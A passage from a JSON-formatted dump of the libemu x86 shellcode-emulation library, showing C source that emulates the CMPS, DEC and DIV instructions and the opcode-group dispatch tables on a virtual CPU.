!CPU_FLAG_ISSET(cpu,f_df) ) \\\n\t{ \\\n\t\tcpu->reg[edi]+=bits/8; \\\n\t\tcpu->reg[esi]+=bits/8; \\\n\t} \\\n\telse \\\n\t{ \\\n\t\tcpu->reg[edi]-=bits/8; \\\n\t\tcpu->reg[esi]-=bits/8; \\\n\t} \\\n}\n\n\n\nint32_t instr_cmps_a6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n\t\t/* A6 \n\t\t * Compares byte at address DS:SI with byte at address ES:DI and sets the status flags accordingly\n\t\t * CMPSB         \n\t\t * Compares byte at address DS:SI with byte at address ES:DI and sets the status flags accordingly\n\t\t * CMPS m8, m8   \n\t\t */\n\t}\n\telse\n\t{\n\t\t/* A6 \n\t\t * Compares byte at address DS:ESI with byte at address ES:EDI and sets the status flags accordingly\n\t\t * CMPSB         \n\t\t * Compares byte at address DS:ESI with byte at address ES:EDI and sets the status flags accordingly\n\t\t * CMPS m8, m8   \n\t\t */\n\n\t\tif ( i->prefixes & PREFIX_F3 )\n\t\t{\n\t\t\t/* F3 A6 \n\t\t\t * Find nonmatching bytes in ES:[EDI] and DS:[ESI]\n\t\t\t * REPE CMPS m8,m8    \n\t\t\t */\n\t\t\tif ( c->reg[ecx] > 0 )\n\t\t\t{\n\t\t\t\tc->reg[ecx]--;\n\t\t\t\tc->repeat_current_instr = true;\n\n\t\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\n\t\t\t\temu_memory_segment_select(c->mem,s_ds);\n\n\t\t\t\tuint8_t m8a;\n\t\t\t\tMEM_BYTE_READ(c, c->reg[esi], &m8a);\n\n\t\t\t\temu_memory_segment_select(c->mem,s_es);\n\t\t\t\tuint8_t m8b;\n\t\t\t\tMEM_BYTE_READ(c, c->reg[edi], &m8b);\n\n\t\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t\t m8a,\n\t\t\t\t\t\t\t\t\t\t m8b)\n\n\t\t\t\tINSTR_CALC_EDI_ESI(c, 8)\n\n\t\t\t\t/* REPE */\n\t\t\t\tif ( CPU_FLAG_ISSET(c, f_zf) == 0 )\n\t\t\t\t\tc->repeat_current_instr = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc->repeat_current_instr = false;\n\t\t\t}\n\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\n\t\t\temu_memory_segment_select(c->mem,s_ds);\n\n\t\t\tuint8_t m8a;\n\t\t\tMEM_BYTE_READ(c, c->reg[esi], &m8a);\n\n\t\t\temu_memory_segment_select(c->mem,s_es);\n\t\t\tuint8_t m8b;\n\t\t\tMEM_BYTE_READ(c, c->reg[edi], &m8b);\n\n\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m8a,\n\t\t\t\t\t\t\t\t\t m8b)\n\n\t\t\tINSTR_CALC_EDI_ESI(c, 8)\n\t\t\t\n\t\t}\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_cmps_a7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* A7 \n\t\t\t * Compares word at address DS:SI with word at address ES:DI and sets the status flags accordingly\n\t\t\t * CMPS m16, m16 \n\t\t\t * Compares word at address DS:SI with word at address ES:DI and sets the status flags accordingly\n\t\t\t * CMPSW         \n\t\t\t */\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* A7 \n\t\t\t * Compares doubleword at address DS:SI with doubleword at address ES:DI and sets the status flags accordingly\n\t\t\t * CMPS m32, m32 \n\t\t\t * CMPSD         \n\t\t\t * Compares doubleword at address DS:SI with doubleword at address ES:DI and sets the status flags accordingly\n\t\t\t */\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* A7 \n\t\t\t * Compares word at address DS:(E)SI with word at address ES:(E)DI and sets the status flags accordingly\n\t\t\t * CMPS m16, m16 \n\t\t\t * Compares word at address DS:(E)SI with word at address ES:(E)DI and sets the status flags accordingly\n\t\t\t * CMPSW         \n\t\t\t */\n\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\n\t\t\temu_memory_segment_select(c->mem,s_ds);\n\t\t\tuint16_t m16a;\n\t\t\tMEM_WORD_READ(c, c->reg[esi], &m16a);\n\n\t\t\temu_memory_segment_select(c->mem,s_es);\n\t\t\tuint16_t m16b;\n\t\t\tMEM_WORD_READ(c, c->reg[edi], &m16b);\n\n\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16a,\n\t\t\t\t\t\t\t\t\t m16b)\n\n\t\t\tINSTR_CALC_EDI_ESI(c, 16)\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* A7 \n\t\t\t * Compares doubleword at address DS:(E)SI with doubleword at address ES:(E)DI and sets the status flags accordingly\n\t\t\t * CMPS m32, m32 \n\t\t\t * CMPSD         \n\t\t\t * Compares doubleword at address DS:(E)SI with doubleword at address ES:(E)DI and sets the status flags accordingly\n\t\t\t */\n\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\n\t\t\temu_memory_segment_select(c->mem,s_ds);\n\t\t\tuint32_t m32a;\n\t\t\tMEM_DWORD_READ(c, c->reg[esi], &m32a);\n\n\t\t\temu_memory_segment_select(c->mem,s_es);\n\t\t\tuint32_t m32b;\n\t\t\tMEM_DWORD_READ(c, c->reg[edi], &m32b);\n\n\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32a,\n\t\t\t\t\t\t\t\t\t m32b)\n\n\t\t\tINSTR_CALC_EDI_ESI(c, 32)\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/dec.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#define INSTR_CALC(bits, a)\t\t\t\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a-1;\t\t\t\t\\\na = operation_result;\n\n\n\n#define INSTR_SET_FLAG_OF(cpu, bits)\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint64_t sz = (INTOF(bits))operand_a;                                            \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tsz--;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                              \\\n\t}                                                                           \\\n}\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 186*/\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a)\t\\\nINSTR_CALC(bits, a)\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_OF(cpu,bits)\t\t\t\t\t\t\t\t\n\n\n\n\nint32_t instr_dec_4x(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 48+rw\n\t\t * Decrement r16 by 1\n\t\t * DEC r16 \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->opc & 7])\n\t}else\n\t{\n\t\t/* 48+rw\n\t\t * Decrement r32 by 1\n\t\t * DEC r32 \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->opc & 7])\n\t}\n\treturn 0;\n}\n\n\n\nint32_t instr_group_4_fe_dec(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* FE /1\n\t * Decrement r/m8 by 1\n\t * DEC r/m8 \n\t */\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, c, dst)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm])\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_5_ff_dec(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /1 \n\t\t\t * Decrement r/m16 by 1\n\t\t\t * DEC r/m16 \n\t\t\t */   \n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, c, dst)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /1 \n\t\t\t * Decrement r/m32 by 1\n\t\t\t * DEC r/m32 \n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, c, dst)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}   \n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* FF /1 \n\t\t\t * Decrement r/m16 by 1\n\t\t\t * DEC r/m16 \n\t\t\t */   \n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm])\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* FF /1 \n\t\t\t * Decrement r/m32 by 1\n\t\t\t * DEC r/m32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm])\n\t\t}   \n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/div.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n#include <stdio.h>\n\n#define INSTR_CALC(dbits,bits,cpu,dividend,divisor,quotient,remainder)\\\n{\\\n\tif (divisor == 0) \\\n\t{ \\\n\t\temu_strerror_set(cpu->emu,\"div by zero (%i bits)\\n\",bits); \\\n\t\temu_errno_set(cpu->emu,EINVAL); \\\n\t\treturn -1; \\\n\t} \\\n\tUINTOF(dbits) q_result = dividend / divisor; \\\n\tUINTOF(dbits) r_result = dividend % divisor; \\\n\\\n\tquotient = q_result; \\\n\tremainder = r_result; \\\n\tif ( q_result >  max_inttype_borders[bits/8][1][1]) \\\n\t{ \\\n\t\temu_strerror_set(cpu->emu,\"div quotient larger than intborder (%i bits)\\n\",bits); \\\n\t\temu_errno_set(cpu->emu,EINVAL); \\\n\t\treturn -1; \\\n\t} \\\n} \n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 188*/\n\nint32_t instr_group_3_f6_div(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /6 \n\t\t * Unsigned divide AX by r/m8; AL <- Quotient, AH <- Remainder\n\t\t * DIV r/m8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC(16, \n\t\t\t\t   8,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg16[ax],\n\t\t\t\t   m8,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[ah])\n\t}\n\telse\n\t{\n\t\t/* F6 /6 \n\t\t * Unsigned divide AX by r/m8; AL <- Quotient, AH <- Remainder\n\t\t * DIV r/m8  \n\t\t */\n\t\tINSTR_CALC(16, \n\t\t\t\t   8,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg16[ax],\n\t\t\t\t   *c->reg8[i->modrm.rm],\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[ah])\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_3_f7_div(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /6 \n\t\t\t * Unsigned divide DX:AX by r/m16; AX <- Quotient, DX <- Remainder\n\t\t\t * DIV r/m16 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\n\t\t\tuint32_t dividend;\n\t\t\tDWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]);\n\n\t\t\tINSTR_CALC(32, \n\t\t\t\t\t   16,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   m16,\n\t\t\t\t\t   *c->reg16[ax],\n\t\t\t\t\t   *c->reg16[dx])\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /6 \n\t\t\t * Unsigned divide EDX:EAX by r/m32 doubleword; EAX <- Quotient, EDX <- Remainder\n\t\t\t * DIV r/m32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\n\t\t\tuint64_t dividend;\n\t\t\tQWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]);\n\n\t\t\tINSTR_CALC(64, \n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   m32,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[edx])\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /6 \n\t\t\t * Unsigned divide DX:AX by r/m16; AX <- Quotient, DX <- Remainder\n\t\t\t * DIV r/m16 \n\t\t\t */\n\n\t\t\tuint32_t dividend;\n\t\t\tDWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]);\n\n\t\t\tINSTR_CALC(32, \n\t\t\t\t\t   16,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   *c->reg16[i->modrm.rm],\n\t\t\t\t\t   *c->reg16[ax],\n\t\t\t\t\t   *c->reg16[dx])\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /6 \n\t\t\t * Unsigned divide EDX:EAX by r/m32 doubleword; EAX <- Quotient, EDX <- Remainder\n\t\t\t * DIV r/m32 \n\t\t\t */\n\t\t\tuint64_t dividend;\n\t\t\tQWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]);\n\n\t\t\tINSTR_CALC(64, \n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   c->reg[i->modrm.rm],\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[edx])\n\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/group_1.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_memory.h\"\n\nint32_t instr_group_1_80(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_1_80_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_1_80_add,\n\t\t/* 1 */ instr_group_1_80_or,\n\t\t/* 2 */ instr_group_1_80_adc,\n\t\t/* 3 */ instr_group_1_80_sbb,\n\t\t/* 4 */ instr_group_1_80_and,\n\t\t/* 5 */ instr_group_1_80_sub,\n\t\t/* 6 */ instr_group_1_80_xor,\n\t\t/* 7 */ instr_group_1_80_cmp,\n\t};\n\n\treturn group_1_80_fn[i->modrm.opc](c, i);\n}\n\nint32_t instr_group_1_81(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tstatic int32_t (*group_1_81_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_1_81_add,\n\t\t/* 1 */ instr_group_1_81_or,\n\t\t/* 2 */ instr_group_1_81_adc,\n\t\t/* 3 */ instr_group_1_81_sbb,\n\t\t/* 4 */ instr_group_1_81_and,\n\t\t/* 5 */ instr_group_1_81_sub,\n\t\t/* 6 */ instr_group_1_81_xor,\n\t\t/* 7 */ instr_group_1_81_cmp,\n\t};\n\n\treturn group_1_81_fn[i->modrm.opc](c, i);\n}\n\nint32_t instr_group_1_82(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\treturn 0;\n}\n\nint32_t instr_group_1_83(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_1_83_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_1_83_add,\n\t\t/* 1 */ instr_group_1_83_or,\n\t\t/* 2 */ instr_group_1_83_adc,\n\t\t/* 3 */ instr_group_1_83_sbb,\n\t\t/* 4 */ instr_group_1_83_and,\n\t\t/* 5 */ instr_group_1_83_sub,\n\t\t/* 6 */ instr_group_1_83_xor,\n\t\t/* 7 */ instr_group_1_83_cmp,\n\t};\n\n\treturn group_1_83_fn[i->modrm.opc](c, i);\n}\n\n\n"
  },
  {
    "path": "src/functions/group_10.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\nint32_t instr_group_10_8f_pop(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif (i->prefixes & PREFIX_OPSIZE)\n\t{\n    /* 8F /0  \n\t * Pop top of stack into m16; increment stack pointer  \n\t * POP m16 \n\t */\n\t}else\n\t{\n    /* 8F /0  \n\t * Pop top of stack into m32; increment stack pointer  \n\t * POP m32 \n\t */\t\n\t\tuint32_t m32;\n\t\t/* support pop dword fs:[0x00] */\n\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\t\temu_memory_segment_select(c->mem, s_ss);\n\t\tPOP_DWORD(c, &m32);\n\t\temu_memory_segment_select(c->mem, oldseg);\n\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_10_8f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tstatic int32_t (*group_10_8f_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_10_8f_pop,\n\t\t/* 1 */ NULL,\n\t\t/* 2 */ NULL,\n\t\t/* 3 */ NULL,\n\t\t/* 4 */ NULL,\n\t\t/* 5 */ NULL,\n\t\t/* 6 */ NULL,\n\t\t/* 7 */ NULL,\n\t};\n\n\tif ( group_10_8f_fn[i->modrm.opc] != NULL )\n\t\treturn group_10_8f_fn[i->modrm.opc](c, i);\n\telse\n\t\treturn -1;\n}\n\n"
  },
  {
    "path": "src/functions/group_2.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_group_2_c0(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_c0_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_c0_rol,\n\t\t/* 1 */ instr_group_2_c0_ror,\n\t\t/* 2 */ instr_group_2_c0_rcl,\n\t\t/* 3 */ instr_group_2_c0_rcr,\n\t\t/* 4 */ instr_group_2_c0_sal,\n\t\t/* 5 */ instr_group_2_c0_shr,\n\t\t/* 6 */ instr_group_2_c0_sal, // sal is shl\n\t\t/* 7 */ instr_group_2_c0_sar,\n\t};\n\n\treturn group_2_c0_fn[i->modrm.opc](c, i);\n}\n\n\nint32_t instr_group_2_c1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_c1_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_c1_rol,\n\t\t/* 1 */ instr_group_2_c1_ror,\n\t\t/* 2 */ instr_group_2_c1_rcl,\n\t\t/* 3 */ instr_group_2_c1_rcr,\n\t\t/* 4 */ instr_group_2_c1_sal,\n\t\t/* 5 */ instr_group_2_c1_shr,\n\t\t/* 6 */ instr_group_2_c1_sal, // sal is shl,\n\t\t/* 7 */ instr_group_2_c1_sar,\n\t};\n\n\treturn group_2_c1_fn[i->modrm.opc](c, i);\n}\n\n\nint32_t instr_group_2_d0(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_d0_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_d0_rol,\n\t\t/* 1 */ instr_group_2_d0_ror,\n\t\t/* 2 */ instr_group_2_d0_rcl,\n\t\t/* 3 */ instr_group_2_d0_rcr,\n\t\t/* 4 */ instr_group_2_d0_sal,\n\t\t/* 5 */ instr_group_2_d0_shr,\n\t\t/* 6 */ instr_group_2_d0_sal, // sal is shl\n\t\t/* 7 */ instr_group_2_d0_sar,\n\t};\n\n\treturn group_2_d0_fn[i->modrm.opc](c, i);\n}\n\nint32_t instr_group_2_d1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_d1_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_d1_rol,\n\t\t/* 1 */ instr_group_2_d1_ror,\n\t\t/* 2 */ instr_group_2_d1_rcl,\n\t\t/* 3 */ instr_group_2_d1_rcr,\n\t\t/* 4 */ instr_group_2_d1_sal,\n\t\t/* 5 */ instr_group_2_d1_shr,\n\t\t/* 6 */ instr_group_2_d1_sal, // sal is shl0,\n\t\t/* 7 */ instr_group_2_d1_sar,\n\t};\n\n\treturn group_2_d1_fn[i->modrm.opc](c, i);\n}\n\n\nint32_t instr_group_2_d2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_d2_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_d2_rol,\n\t\t/* 1 */ instr_group_2_d2_ror,\n\t\t/* 2 */ instr_group_2_d2_rcl,\n\t\t/* 3 */ instr_group_2_d2_rcr,\n\t\t/* 4 */ instr_group_2_d2_sal,\n\t\t/* 5 */ instr_group_2_d2_shr,\n\t\t/* 6 */ instr_group_2_d2_sal, // sal is shl,\n\t\t/* 7 */ instr_group_2_d2_sar,\n\t};\n\n\treturn group_2_d2_fn[i->modrm.opc](c, i);\n}\n\n\nint32_t instr_group_2_d3(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_2_d3_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_2_d3_rol,\n\t\t/* 1 */ instr_group_2_d3_ror,\n\t\t/* 2 */ instr_group_2_d3_rcl,\n\t\t/* 3 */ instr_group_2_d3_rcr,\n\t\t/* 4 */ instr_group_2_d3_sal, // sal is shl\n\t\t/* 5 */ instr_group_2_d3_shr,\n\t\t/* 6 */ instr_group_2_d3_sal, // sal is shl\n\t\t/* 7 */ instr_group_2_d3_sar,\n\t};\n\n\treturn group_2_d3_fn[i->modrm.opc](c, i);\n}\n\n"
  },
  {
    "path": "src/functions/group_3.c",
